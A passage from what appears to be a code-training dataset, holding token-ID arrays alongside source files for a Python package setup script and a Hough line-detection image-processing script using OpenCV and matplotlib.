29889, 29887, 481, 353, 1583, 29889, 2103, 849, 1583, 29889, 5727, 13, 4706, 1583, 29889, 2084, 353, 6213, 13, 4706, 1583, 29889, 29883, 420, 29918, 3166, 353, 6571, 13, 4706, 22028, 29889, 4990, 29889, 842, 29918, 6671, 29898, 1311, 29889, 7165, 29918, 3257, 29897, 13, 4706, 1583, 29889, 20119, 895, 353, 7604, 895, 13, 13, 4706, 363, 364, 297, 1583, 29889, 7720, 29901, 13, 9651, 363, 269, 297, 364, 29901, 13, 18884, 565, 269, 29889, 3859, 1275, 19256, 2792, 29889, 25826, 29901, 13, 462, 1678, 1583, 29889, 2962, 29918, 1066, 353, 269, 29889, 657, 29918, 1066, 580, 13, 18884, 25342, 269, 29889, 3859, 1275, 19256, 2792, 29889, 11794, 29901, 13, 462, 1678, 1583, 29889, 355, 29918, 1066, 353, 269, 29889, 657, 29918, 1066, 580, 13, 13, 9651, 565, 1583, 29889, 2962, 29918, 1066, 322, 1583, 29889, 355, 29918, 1066, 29901, 13, 18884, 2867, 13, 13, 4706, 1596, 29898, 29888, 12764, 29876, 29924, 28334, 13391, 29901, 426, 2435, 29898, 1311, 29889, 7720, 2915, 29916, 29912, 2435, 29898, 1311, 29889, 7720, 29961, 29900, 2314, 29913, 1495, 13, 4706, 1596, 29898, 29888, 29915, 4763, 292, 2602, 29901, 426, 1311, 29889, 2962, 29918, 1066, 29913, 1495, 13, 4706, 1596, 29898, 29888, 29915, 5044, 292, 2602, 29901, 426, 1311, 29889, 355, 29918, 1066, 1012, 29876, 1495, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 354, 332, 4695, 29898, 29886, 29896, 29901, 18761, 29892, 282, 29906, 29901, 18761, 1125, 13, 4706, 9995, 13, 4706, 3617, 26368, 5418, 304, 282, 29906, 13, 4706, 584, 3207, 282, 29896, 29901, 2602, 29871, 29896, 13, 4706, 584, 3207, 282, 29906, 29901, 1095, 2602, 13, 4706, 584, 2457, 29901, 26368, 5418, 13, 4706, 584, 29878, 1853, 29901, 938, 13, 4706, 9995, 13, 4706, 921, 29896, 29892, 343, 29896, 353, 282, 29896, 13, 4706, 921, 29906, 29892, 343, 29906, 353, 282, 29906, 13, 13, 4706, 736, 6425, 29898, 29916, 29896, 448, 921, 29906, 29897, 718, 6425, 29898, 29891, 29896, 448, 343, 29906, 29897, 13, 13, 1678, 822, 4216, 29918, 7720, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 18492, 278, 6856, 13, 4706, 584, 29878, 1853, 29901, 6213, 13, 4706, 9995, 13, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 5727, 1125, 13, 9651, 22028, 29889, 4012, 29889, 1220, 29898, 1311, 29889, 7165, 29892, 390, 7210, 1625, 2470, 29889, 29954, 1525, 29979, 29892, 313, 29900, 29892, 474, 334, 1583, 29889, 29887, 481, 511, 313, 1311, 29889, 2103, 29892, 474, 334, 1583, 29889, 29887, 481, 876, 13, 9651, 363, 432, 297, 3464, 29898, 1311, 29889, 5727, 1125, 13, 18884, 22028, 29889, 4012, 29889, 1220, 29898, 1311, 29889, 7165, 29892, 390, 7210, 1625, 2470, 29889, 29954, 1525, 29979, 29892, 313, 29926, 334, 1583, 29889, 29887, 481, 29892, 29871, 29900, 511, 313, 29926, 334, 1583, 29889, 29887, 481, 29892, 1583, 29889, 2103, 876, 13, 13, 1678, 822, 4216, 29898, 1311, 29892, 6856, 29901, 1051, 1125, 13, 4706, 9995, 13, 4706, 18492, 278, 6856, 322, 25256, 13, 4706, 584, 29878, 1853, 29901, 6213, 13, 4706, 9995, 13, 13, 4706, 1583, 29889, 7165, 29889, 5589, 29898, 28212, 1625, 2470, 29889, 25039, 9094, 29897, 13, 13, 4706, 363, 1948, 297, 6856, 29901, 13, 9651, 363, 6862, 297, 1948, 29901, 13, 18884, 6862, 29889, 4012, 29898, 1311, 29889, 7165, 29897, 13, 13, 4706, 1583, 29889, 4012, 29918, 7720, 580, 13, 4706, 22028, 29889, 4990, 29889, 5504, 580, 13, 13, 1678, 822, 679, 29918, 3808, 287, 29918, 1066, 29898, 1311, 29892, 926, 1125, 13, 4706, 9995, 13, 4706, 3617, 1948, 29892, 784, 393, 471, 11484, 13, 4706, 584, 3207, 926, 29901, 2602, 13, 4706, 584, 1853, 926, 29901, 18761, 13, 4706, 584, 2457, 29901, 1948, 29892, 784, 13, 4706, 584, 29878, 1853, 29901, 18761, 13, 4706, 9995, 13, 13, 4706, 343, 29892, 921, 353, 926, 13, 4706, 736, 343, 849, 1583, 29889, 29887, 481, 29892, 921, 849, 1583, 29889, 29887, 481, 13, 13, 1678, 822, 263, 29918, 8508, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 319, 29930, 2224, 2886, 292, 5687, 5314, 13, 4706, 584, 2457, 29901, 1476, 2224, 470, 451, 13, 4706, 584, 29878, 1853, 29901, 6120, 13, 4706, 9995, 13, 13, 4706, 1583, 29889, 29883, 420, 29918, 3166, 353, 6571, 13, 13, 4706, 363, 1948, 297, 1583, 29889, 7720, 29901, 13, 9651, 363, 269, 297, 1948, 29901, 13, 18884, 805, 353, 269, 29889, 657, 29918, 1066, 580, 13, 18884, 1583, 29889, 29887, 29918, 13628, 29961, 1028, 29962, 353, 5785, 877, 7192, 1495, 13, 18884, 1583, 29889, 29888, 29918, 13628, 29961, 1028, 29962, 353, 5785, 877, 7192, 1495, 13, 13, 4706, 1583, 29889, 29887, 29918, 13628, 29961, 1311, 29889, 2962, 29918, 1066, 29962, 353, 29871, 29900, 13, 4706, 1583, 29889, 29888, 29918, 13628, 29961, 1311, 29889, 2962, 29918, 1066, 29962, 353, 1583, 29889, 657, 29918, 354, 332, 4695, 29898, 1311, 29889, 2962, 29918, 1066, 29892, 1583, 29889, 355, 29918, 1066, 29897, 13, 4706, 1583, 29889, 3150, 29918, 842, 29889, 649, 3552, 1311, 29889, 29888, 29918, 13628, 29961, 1311, 29889, 2962, 29918, 1066, 1402, 1583, 29889, 2962, 29918, 1066, 876, 13, 13, 4706, 1550, 1583, 29889, 3389, 29901, 13, 9651, 1583, 29889, 4012, 29898, 1311, 29889, 7720, 29897, 13, 9651, 363, 1741, 297, 22028, 29889, 3696, 29889, 657, 7295, 13, 18884, 565, 1741, 29889, 1853, 1275, 22028, 29889, 13356, 1806, 470, 313, 3696, 29889, 1853, 1275, 22028, 29889, 10818, 3970, 16048, 322, 1741, 29889, 1989, 1275, 22028, 29889, 29968, 29918, 2890, 29907, 3301, 29923, 1125, 13, 462, 1678, 1583, 29889, 3389, 353, 7700, 13, 13, 9651, 1550, 451, 1583, 29889, 3150, 29918, 842, 29889, 6310, 7295, 13, 18884, 1857, 353, 1583, 29889, 3150, 29918, 842, 29889, 657, 580, 13, 18884, 1857, 29918, 29888, 29918, 13628, 29892, 1857, 29918, 1066, 353, 1857, 13, 18884, 1857, 29918, 798, 29892, 1857, 29918, 1054, 353, 1857, 29918, 1066, 13, 13, 18884, 565, 1857, 29918, 1066, 1275, 1583, 29889, 355, 29918, 1066, 29901, 13, 462, 1678, 7120, 29918, 26613, 5114, 353, 29871, 29900, 13, 462, 1678, 1583, 29889, 2084, 353, 1051, 580, 13, 462, 1678, 1583, 29889, 2084, 29889, 4397, 29898, 1311, 29889, 355, 29918, 1066, 29897, 13, 462, 1678, 363, 1948, 297, 1583, 29889, 7720, 29901, 13, 462, 4706, 363, 269, 297, 1948, 29901, 13, 462, 9651, 565, 269, 29889, 3859, 297, 518, 29903, 4718, 2792, 29889, 28607, 1806, 3352, 29892, 19256, 2792, 29889, 25826, 29892, 19256, 2792, 29889, 11794, 5387, 13, 462, 18884, 7120, 29918, 26613, 5114, 4619, 29871, 29896, 13, 13, 462, 1678, 16256, 353, 1583, 29889, 355, 29918, 1066, 13, 462, 1678, 1550, 16256, 29901, 13, 462, 4706, 12379, 353, 1583, 29889, 29883, 420, 29918, 3166, 29889, 657, 29898, 21962, 29897, 13, 13, 462, 4706, 1583, 29889, 2084, 29889, 4397, 29898, 16304, 29897, 13, 462, 4706, 16256, 353, 12379, 13, 13, 462, 1678, 1583, 29889, 2084, 353, 1583, 29889, 2084, 7503, 29899, 29896, 29962, 13, 462, 1678, 363, 4337, 297, 1583, 29889, 2084, 29901, 13, 462, 4706, 565, 4337, 29901, 13, 462, 9651, 286, 29918, 29878, 29892, 286, 29918, 29883, 353, 4337, 13, 462, 9651, 565, 4337, 1275, 1583, 29889, 355, 29918, 1066, 29901, 13, 462, 18884, 1583, 29889, 7720, 29961, 29885, 29918, 29878, 3816, 29885, 29918, 29883, 1822, 3859, 353, 19256, 2792, 29889, 11794, 13, 462, 9651, 1683, 29901, 13, 462, 18884, 1583, 29889, 7720, 29961, 29885, 29918, 29878, 3816, 29885, 29918, 29883, 1822, 3859, 353, 19256, 2792, 29889, 10145, 13, 13, 462, 1678, 1596, 29898, 29888, 29915, 9692, 263, 1650, 29892, 7120, 426, 11238, 29918, 26613, 5114, 29913, 25256, 29892, 3614, 426, 2435, 29898, 1311, 29889, 2084, 2915, 16229, 1495, 13, 462, 1678, 1596, 29898, 29888, 29915, 29924, 586, 267, 29901, 426, 1311, 29889, 2084, 1012, 29876, 1495, 13, 13, 462, 1678, 1583, 29889, 3150, 29918, 842, 353, 22096, 537, 10620, 580, 13, 462, 1678, 2867, 13, 13, 18884, 363, 2854, 29918, 484, 1141, 6526, 297, 14612, 9979, 29889, 657, 29918, 3084, 29918, 484, 1141, 29890, 2470, 29898, 3784, 29918, 798, 29892, 1857, 29918, 1054, 29892, 1583, 29889, 7720, 29892, 1583, 29889, 5727, 1125, 13, 462, 1678, 565, 2854, 29918, 484, 1141, 6526, 29889, 3859, 2804, 19256, 2792, 29889, 28607, 1806, 3352, 29901, 13, 462, 4706, 2854, 29918, 484, 1141, 6526, 29889, 3859, 353, 19256, 2792, 29889, 28607, 1806, 3352, 13, 13, 462, 1678, 12033, 1230, 29918, 29887, 29918, 13628, 353, 1583, 29889, 29887, 29918, 13628, 29961, 3784, 29918, 1066, 29962, 718, 29871, 29896, 13, 462, 1678, 325, 29876, 29918, 1066, 353, 2854, 29918, 484, 1141, 6526, 29889, 657, 29918, 1066, 580, 13, 13, 462, 1678, 565, 12033, 1230, 29918, 29887, 29918, 13628, 529, 1583, 29889, 29887, 29918, 13628, 29961, 18564, 29918, 1066, 5387, 13, 462, 4706, 1583, 29889, 29883, 420, 29918, 3166, 29961, 18564, 29918, 1066, 29962, 353, 1857, 29918, 1066, 13, 462, 4706, 1583, 29889, 29887, 29918, 13628, 29961, 18564, 29918, 1066, 29962, 353, 12033, 1230, 29918, 29887, 29918, 13628, 13, 462, 4706, 1583, 29889, 29888, 29918, 13628, 29961, 18564, 29918, 1066, 29962, 353, 1583, 29889, 29887, 29918, 13628, 29961, 18564, 29918, 1066, 29962, 718, 1583, 29889, 657, 29918, 354, 332, 4695, 29898, 18564, 29918, 1066, 29892, 1583, 29889, 355, 29918, 1066, 29897, 13, 13, 462, 4706, 565, 325, 29876, 29918, 1066, 451, 297, 1583, 29889, 3150, 29918, 842, 29889, 9990, 29901, 13, 462, 9651, 1583, 29889, 3150, 29918, 842, 29889, 649, 3552, 1311, 29889, 29888, 29918, 13628, 29961, 18564, 29918, 1066, 1402, 325, 29876, 29918, 1066, 876, 13, 462, 9651, 565, 1583, 29889, 20119, 895, 29901, 13, 462, 18884, 1583, 29889, 4012, 29898, 1311, 29889, 7720, 29897, 13, 13, 4706, 22028, 29889, 28358, 580, 13, 4706, 736, 5852, 565, 1583, 29889, 2084, 1683, 7700, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 263, 29918, 8508, 353, 319, 16213, 580, 13, 1678, 2224, 29918, 11940, 353, 263, 29918, 8508, 29889, 29874, 29918, 8508, 580, 13, 13, 1678, 1596, 29898, 29888, 29915, 2605, 1476, 29901, 426, 2084, 29918, 11940, 29913, 1495, 13, 2 ]
setup.py
bmustiata/archer-py
0
122028
from setuptools import setup from setuptools import find_packages with open("README.rst") as readme_file: readme = readme_file.read() packages = find_packages() setup( name="project_archer", version="0.3.0", description="Switch projects with ease.", long_description=readme, author="<NAME>", author_email="<EMAIL>", license="BSD", entry_points={"console_scripts": ["archer = project_archer.mainapp:main"]}, install_requires=[ "termcolor-util", "click", "PyYAML >=5.1, <5.2", ], packages=packages, package_data={"": ["*.txt", "*.rst"]}, )
[ 1, 515, 731, 21245, 8789, 1053, 6230, 13, 3166, 731, 21245, 8789, 1053, 1284, 29918, 8318, 13, 13, 2541, 1722, 703, 16310, 2303, 29889, 29878, 303, 1159, 408, 1303, 1004, 29918, 1445, 29901, 13, 1678, 1303, 1004, 353, 1303, 1004, 29918, 1445, 29889, 949, 580, 13, 13, 8318, 353, 1284, 29918, 8318, 580, 13, 13, 14669, 29898, 13, 1678, 1024, 543, 4836, 29918, 1279, 261, 613, 13, 1678, 1873, 543, 29900, 29889, 29941, 29889, 29900, 613, 13, 1678, 6139, 543, 24995, 9279, 411, 16326, 19602, 13, 1678, 1472, 29918, 8216, 29922, 949, 1004, 29892, 13, 1678, 4148, 543, 29966, 5813, 28341, 13, 1678, 4148, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 1678, 19405, 543, 29933, 7230, 613, 13, 1678, 6251, 29918, 9748, 3790, 29908, 11058, 29918, 16713, 1115, 6796, 1279, 261, 353, 2060, 29918, 1279, 261, 29889, 3396, 932, 29901, 3396, 3108, 1118, 13, 1678, 2601, 29918, 276, 339, 2658, 11759, 13, 4706, 376, 8489, 2780, 29899, 4422, 613, 13, 4706, 376, 3808, 613, 13, 4706, 376, 19737, 29979, 23956, 6736, 29945, 29889, 29896, 29892, 529, 29945, 29889, 29906, 613, 13, 1678, 21251, 13, 1678, 9741, 29922, 8318, 29892, 13, 1678, 3577, 29918, 1272, 3790, 29908, 1115, 6796, 10521, 3945, 613, 376, 10521, 29878, 303, 3108, 1118, 13, 29897, 13, 2 ]
hough_lines.py
will-r-wang/NTP-Remote-Sensing
0
152245
<filename>hough_lines.py """ Purpose ------- Takes in an input image and calculates its top `n` Hough lines and predicted major angle Inputs ------- - Input image to which Hough transform is applied to - (Optional) VERBOSE parameter which decides whether additional matplotlib plots are made - (Optional) output image path to which plots are drawn to if VERBOSE is defined """ import cv2 import numpy as np import matplotlib.pyplot as plt import matplotlib.lines as mlines import matplotlib matplotlib.use('agg') # workaround for tkinter compatability issues # Takes in as input the original and corrected binary image, and returns the top Hough lines and predicted major angle of the image def hough_line_detection(original_image, input_image): height, width = input_image.shape[:2] d = np.sqrt(np.square(height) + np.square(width)) thetas = np.arange(0, 180, step=180 / 180) rhos = np.arange(-d, d, step=(2 * d) / 180) sin_thetas = np.sin(np.deg2rad(thetas)) cos_thetas = np.cos(np.deg2rad(thetas)) hough_lines = [] inverse = False hough_matrix = np.zeros((len(rhos), len(rhos))) if VERBOSE: figure = plt.figure(figsize=(20, 7)) plot1 = figure.add_subplot(1, 3, 1) plot1.imshow(original_image) plot2 = figure.add_subplot(1, 3, 2) plot2.imshow(original_image) plot3 = figure.add_subplot(1, 3, 3) plot3.imshow(original_image) for y in range(height): for x in range(width): if input_image[y][x] != 0: for theta_index in range(len(thetas)): rho = ((x - width / 2) * cos_thetas[theta_index]) + ((y - height / 2) * sin_thetas[theta_index]) theta = thetas[theta_index] rho_index = np.argmin(np.abs(rhos - rho)) hough_matrix[rho_index][theta_index] += 1 for y in range(hough_matrix.shape[0]): for x in range(hough_matrix.shape[1]): if hough_matrix[y][x] > 200: rho = rhos[y] theta = thetas[x] a, b = np.cos(np.deg2rad(theta)), np.sin(np.deg2rad(theta)) x0, y0 = (a * rho) + width / 2, (b * rho) + height / 2 x1, y1 = int(x0 + 200 * (-b)), int(y0 + 200 * (a)) x2, y2 = int(x0 - 200 * (-b)), int(y0 - 200 * (a)) hough_lines.append( { 'strength': hough_matrix[y][x], 'rho': rhos[y], 'theta': thetas[x], 'end_points': [x1, x2, y1, y2] } ) if VERBOSE: plot1.add_line(mlines.Line2D([x1, x2], [y1, y2])) # -- directionality determination if np.average([h["theta"] for h in hough_lines[:len(hough_lines)//2]])\ < np.average([h["theta"] for h in hough_lines[len(hough_lines)//2:]]): inverse = True sort_fn = lambda x: (x.get('strength')) hough_lines = sorted(hough_lines, key=sort_fn, reverse=True) top_hough_lines = hough_lines[:5] if VERBOSE: for line in top_hough_lines: plot2.add_line(mlines.Line2D(line["end_points"][:2], line["end_points"][2:])) # -- inversion of hough line weighting if inverse: for i in range(len(top_hough_lines)): top_hough_lines[i]["theta"] = 180 + top_hough_lines[i]["theta"] # -- simple predicted major angle mean calculation predicted_major_angle = np.mean([line["theta"] for line in top_hough_lines]) m_x1, m_x2, m_y1, m_y2 = np.mean([hough_line["end_points"] for hough_line in top_hough_lines], axis=0) if VERBOSE: plot3.add_line(mlines.Line2D([m_x1, m_x2], [m_y1, m_y2], color=(0, 1, 0))) plot3.plot(m_x1, m_y1, 'o', color="#00FF00") if inverse else plot2.plot(m_x2, m_y2, 'o', color="#00FF00") plot1.title.set_text("Detected Hough Lines") plot2.title.set_text("Top 5 Hough Lines".format(predicted_major_angle)) plot3.title.set_text("Predicted Major Hough Line ({}°)".format(predicted_major_angle)) plt.savefig(OUTPUT_IMAGE_PATH) return top_hough_lines, predicted_major_angle VERBOSE = True INPUT_IMAGE_PATH = "images/hough_lines_test.png" OUTPUT_IMAGE_PATH = "images/hough_lines_test_output.png" if __name__ == "__main__": image = cv2.imread(INPUT_IMAGE_PATH) # In order for Hough transform to work, we apply several filters and color corrections on our original image image_cvt = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # BGR --> Greyscale color conversion image_cvt = cv2.Canny(image_cvt, 100, 200) # Canny edge application image_cvt = cv2.dilate( # dilation helps us reconstruct the original object output post canny edge image_cvt, cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5)), iterations=1 ) image_cvt = cv2.erode( # erosion to remove white noises with a 5x5 kernel applied in a 2D convolution image_cvt, cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5)), iterations=1 ) a, b = hough_line_detection(image, image_cvt)
[ 1, 529, 9507, 29958, 29882, 820, 29918, 9012, 29889, 2272, 13, 15945, 29908, 13, 29925, 332, 4220, 13, 26589, 13, 29911, 6926, 297, 385, 1881, 1967, 322, 3408, 1078, 967, 2246, 421, 29876, 29952, 379, 820, 3454, 322, 25383, 4655, 10696, 29871, 13, 13, 4290, 29879, 13, 26589, 13, 29899, 10567, 1967, 304, 607, 379, 820, 4327, 338, 7436, 304, 13, 29899, 313, 27636, 29897, 478, 1001, 8456, 1660, 3443, 607, 1602, 2247, 3692, 5684, 22889, 24580, 526, 1754, 13, 1678, 448, 313, 27636, 29897, 1962, 1967, 2224, 304, 607, 24580, 526, 12061, 304, 565, 478, 1001, 8456, 1660, 338, 3342, 13, 15945, 29908, 13, 13, 13, 5215, 13850, 29906, 13, 5215, 12655, 408, 7442, 13, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 22889, 29889, 9012, 408, 286, 9012, 13, 5215, 22889, 13, 2922, 17357, 29889, 1509, 877, 16170, 1495, 29871, 396, 14725, 363, 18883, 1639, 10007, 3097, 5626, 13, 13, 13, 29937, 323, 6926, 297, 408, 1881, 278, 2441, 322, 24114, 7581, 1967, 29892, 322, 3639, 278, 2246, 379, 820, 3454, 322, 25383, 4655, 10696, 310, 278, 1967, 13, 1753, 298, 820, 29918, 1220, 29918, 29881, 2650, 428, 29898, 13492, 29918, 3027, 29892, 1881, 29918, 3027, 1125, 13, 1678, 3171, 29892, 2920, 353, 1881, 29918, 3027, 29889, 12181, 7503, 29906, 29962, 13, 13, 1678, 270, 353, 7442, 29889, 3676, 29898, 9302, 29889, 17619, 29898, 3545, 29897, 718, 7442, 29889, 17619, 29898, 2103, 876, 13, 1678, 278, 29873, 294, 353, 7442, 29889, 279, 927, 29898, 29900, 29892, 29871, 29896, 29947, 29900, 29892, 4331, 29922, 29896, 29947, 29900, 847, 29871, 29896, 29947, 29900, 29897, 13, 1678, 364, 15656, 353, 7442, 29889, 279, 927, 6278, 29881, 29892, 270, 29892, 4331, 7607, 29906, 334, 270, 29897, 847, 29871, 29896, 29947, 29900, 29897, 13, 13, 1678, 4457, 29918, 386, 300, 294, 353, 7442, 29889, 5223, 29898, 9302, 29889, 12163, 29906, 3665, 29898, 386, 300, 294, 876, 13, 1678, 6776, 29918, 386, 300, 294, 353, 7442, 29889, 3944, 29898, 9302, 29889, 12163, 29906, 3665, 29898, 386, 300, 294, 876, 13, 13, 1678, 298, 820, 29918, 9012, 353, 5159, 13, 1678, 16402, 353, 7700, 13, 1678, 298, 820, 29918, 5344, 353, 7442, 29889, 3298, 359, 3552, 2435, 29898, 29878, 15656, 511, 7431, 29898, 29878, 15656, 4961, 13, 13, 1678, 565, 478, 1001, 8456, 1660, 29901, 13, 4706, 4377, 353, 14770, 29889, 4532, 29898, 1003, 2311, 7607, 29906, 29900, 29892, 29871, 29955, 876, 13, 4706, 6492, 29896, 353, 4377, 29889, 1202, 29918, 1491, 5317, 29898, 29896, 29892, 29871, 29941, 29892, 29871, 29896, 29897, 13, 4706, 6492, 29896, 29889, 326, 4294, 29898, 13492, 29918, 3027, 29897, 13, 4706, 6492, 29906, 353, 4377, 29889, 1202, 29918, 1491, 5317, 29898, 29896, 29892, 29871, 29941, 29892, 29871, 29906, 29897, 13, 4706, 6492, 29906, 29889, 326, 4294, 29898, 13492, 29918, 3027, 29897, 13, 4706, 6492, 29941, 353, 4377, 29889, 1202, 29918, 1491, 5317, 29898, 29896, 29892, 29871, 29941, 29892, 29871, 29941, 29897, 13, 4706, 6492, 29941, 29889, 326, 4294, 29898, 13492, 29918, 3027, 29897, 13, 13, 1678, 363, 343, 297, 3464, 29898, 3545, 1125, 13, 4706, 363, 921, 297, 3464, 29898, 2103, 1125, 13, 9651, 565, 1881, 29918, 3027, 29961, 29891, 3816, 29916, 29962, 2804, 29871, 29900, 29901, 13, 18884, 363, 278, 941, 29918, 2248, 297, 3464, 29898, 2435, 29898, 386, 300, 294, 22164, 13, 462, 1678, 364, 1251, 353, 5135, 29916, 448, 2920, 847, 29871, 29906, 29897, 334, 6776, 29918, 386, 300, 294, 29961, 3416, 29918, 2248, 2314, 718, 5135, 29891, 448, 3171, 847, 29871, 29906, 29897, 334, 4457, 29918, 386, 300, 294, 29961, 3416, 29918, 2248, 2314, 13, 462, 1678, 278, 941, 353, 278, 29873, 294, 29961, 3416, 29918, 2248, 29962, 13, 462, 1678, 364, 1251, 29918, 2248, 353, 7442, 29889, 1191, 1195, 29898, 9302, 29889, 6897, 29898, 29878, 15656, 448, 364, 1251, 876, 13, 462, 1678, 298, 820, 29918, 5344, 29961, 4650, 29918, 2248, 3816, 3416, 29918, 2248, 29962, 4619, 29871, 29896, 13, 13, 1678, 363, 343, 297, 3464, 29898, 29882, 820, 29918, 5344, 29889, 12181, 29961, 29900, 29962, 1125, 13, 4706, 363, 921, 297, 3464, 29898, 29882, 820, 29918, 5344, 29889, 12181, 29961, 29896, 29962, 1125, 13, 9651, 565, 298, 820, 29918, 5344, 29961, 29891, 3816, 29916, 29962, 1405, 29871, 29906, 29900, 29900, 29901, 13, 18884, 364, 1251, 353, 364, 15656, 29961, 29891, 29962, 13, 18884, 278, 941, 353, 278, 29873, 294, 29961, 29916, 29962, 13, 18884, 263, 29892, 289, 353, 7442, 29889, 3944, 29898, 9302, 29889, 12163, 29906, 3665, 29898, 3416, 8243, 7442, 29889, 5223, 29898, 9302, 29889, 12163, 29906, 3665, 29898, 3416, 876, 13, 13, 18884, 921, 29900, 29892, 343, 29900, 353, 313, 29874, 334, 364, 1251, 29897, 718, 2920, 847, 29871, 29906, 29892, 313, 29890, 334, 364, 1251, 29897, 718, 3171, 847, 29871, 29906, 13, 18884, 921, 29896, 29892, 343, 29896, 353, 938, 29898, 29916, 29900, 718, 29871, 29906, 29900, 29900, 334, 8521, 29890, 8243, 938, 29898, 29891, 29900, 718, 29871, 29906, 29900, 29900, 334, 313, 29874, 876, 13, 18884, 921, 29906, 29892, 343, 29906, 353, 938, 29898, 29916, 29900, 448, 29871, 29906, 29900, 29900, 334, 8521, 29890, 8243, 938, 29898, 29891, 29900, 448, 29871, 29906, 29900, 29900, 334, 313, 29874, 876, 13, 13, 18884, 298, 820, 29918, 9012, 29889, 4397, 29898, 13, 462, 4706, 426, 13, 462, 3986, 525, 710, 1477, 2396, 298, 820, 29918, 5344, 29961, 29891, 3816, 29916, 1402, 13, 462, 3986, 525, 4650, 2396, 364, 15656, 29961, 29891, 1402, 13, 462, 3986, 525, 3416, 2396, 278, 29873, 294, 29961, 29916, 1402, 13, 462, 3986, 525, 355, 29918, 9748, 2396, 518, 29916, 29896, 29892, 921, 29906, 29892, 343, 29896, 29892, 343, 29906, 29962, 13, 462, 4706, 500, 13, 18884, 1723, 13, 13, 18884, 565, 478, 1001, 8456, 1660, 29901, 13, 462, 1678, 6492, 29896, 29889, 1202, 29918, 1220, 29898, 828, 1475, 29889, 3542, 29906, 29928, 4197, 29916, 29896, 29892, 921, 29906, 1402, 518, 29891, 29896, 29892, 343, 29906, 12622, 13, 13, 1678, 396, 1192, 5305, 2877, 3683, 3381, 13, 1678, 565, 7442, 29889, 12483, 482, 4197, 29882, 3366, 3416, 3108, 363, 298, 297, 298, 820, 29918, 9012, 7503, 2435, 29898, 29882, 820, 29918, 9012, 29897, 458, 29906, 5262, 2144, 13, 9651, 529, 7442, 29889, 12483, 482, 4197, 29882, 3366, 3416, 3108, 363, 298, 297, 298, 820, 29918, 9012, 29961, 2435, 29898, 29882, 820, 29918, 9012, 29897, 458, 29906, 29901, 5262, 1125, 13, 4706, 16402, 353, 5852, 13, 13, 1678, 2656, 29918, 9144, 353, 14013, 921, 29901, 313, 29916, 29889, 657, 877, 710, 1477, 8785, 13, 1678, 298, 820, 29918, 9012, 353, 12705, 29898, 29882, 820, 29918, 9012, 29892, 1820, 29922, 6605, 29918, 9144, 29892, 11837, 29922, 5574, 29897, 13, 1678, 2246, 29918, 29882, 820, 29918, 9012, 353, 298, 820, 29918, 9012, 7503, 29945, 29962, 13, 13, 1678, 565, 478, 1001, 8456, 1660, 29901, 13, 4706, 363, 1196, 297, 2246, 29918, 29882, 820, 29918, 9012, 29901, 13, 9651, 6492, 29906, 29889, 1202, 29918, 1220, 29898, 828, 1475, 29889, 3542, 29906, 29928, 29898, 1220, 3366, 355, 29918, 9748, 3108, 7503, 29906, 1402, 1196, 3366, 355, 29918, 9748, 3108, 29961, 29906, 29901, 12622, 13, 13, 1678, 396, 1192, 297, 3259, 310, 298, 820, 1196, 7688, 292, 13, 1678, 565, 16402, 29901, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 3332, 29918, 29882, 820, 29918, 9012, 22164, 13, 9651, 2246, 29918, 29882, 820, 29918, 9012, 29961, 29875, 29962, 3366, 3416, 3108, 353, 29871, 29896, 29947, 29900, 718, 2246, 29918, 29882, 820, 29918, 9012, 29961, 29875, 29962, 3366, 3416, 3108, 13, 13, 1678, 396, 1192, 2560, 25383, 4655, 10696, 2099, 13944, 13, 1678, 25383, 29918, 21355, 29918, 2521, 353, 7442, 29889, 12676, 4197, 1220, 3366, 3416, 3108, 363, 1196, 297, 2246, 29918, 29882, 820, 29918, 9012, 2314, 13, 1678, 286, 29918, 29916, 29896, 29892, 286, 29918, 29916, 29906, 29892, 286, 29918, 29891, 29896, 29892, 286, 29918, 29891, 29906, 353, 7442, 29889, 12676, 4197, 29882, 820, 29918, 1220, 3366, 355, 29918, 9748, 3108, 363, 298, 820, 29918, 1220, 297, 2246, 29918, 29882, 820, 29918, 9012, 1402, 9685, 29922, 29900, 29897, 13, 13, 1678, 565, 478, 1001, 8456, 1660, 29901, 13, 4706, 6492, 29941, 29889, 1202, 29918, 1220, 29898, 828, 1475, 29889, 3542, 29906, 29928, 4197, 29885, 29918, 29916, 29896, 29892, 286, 29918, 29916, 29906, 1402, 518, 29885, 29918, 29891, 29896, 29892, 286, 29918, 29891, 29906, 1402, 2927, 7607, 29900, 29892, 29871, 29896, 29892, 29871, 29900, 4961, 13, 4706, 6492, 29941, 29889, 5317, 29898, 29885, 29918, 29916, 29896, 29892, 286, 29918, 29891, 29896, 29892, 525, 29877, 742, 2927, 9880, 29900, 29900, 4198, 29900, 29900, 1159, 565, 16402, 1683, 6492, 29906, 29889, 5317, 29898, 29885, 29918, 29916, 29906, 29892, 286, 29918, 29891, 29906, 29892, 525, 29877, 742, 2927, 9880, 29900, 29900, 4198, 29900, 29900, 1159, 13, 13, 4706, 6492, 29896, 29889, 3257, 29889, 842, 29918, 726, 703, 6362, 26458, 379, 820, 365, 1475, 1159, 13, 4706, 6492, 29906, 29889, 3257, 29889, 842, 29918, 726, 703, 7031, 29871, 29945, 379, 820, 365, 1475, 1642, 4830, 29898, 11965, 18186, 29918, 21355, 29918, 2521, 876, 13, 4706, 6492, 29941, 29889, 3257, 29889, 842, 29918, 726, 703, 23084, 18186, 11019, 379, 820, 7407, 313, 8875, 30073, 29897, 1642, 4830, 29898, 11965, 18186, 29918, 21355, 29918, 2521, 876, 13, 4706, 14770, 29889, 7620, 1003, 29898, 12015, 12336, 29918, 2382, 29918, 10145, 29897, 13, 13, 1678, 736, 2246, 29918, 29882, 820, 29918, 9012, 29892, 25383, 29918, 21355, 29918, 2521, 13, 13, 13, 5348, 8456, 1660, 353, 5852, 13, 1177, 12336, 29918, 2382, 29918, 10145, 353, 376, 8346, 29914, 29882, 820, 29918, 9012, 29918, 1688, 29889, 2732, 29908, 13, 12015, 12336, 29918, 2382, 29918, 10145, 353, 376, 8346, 29914, 29882, 820, 29918, 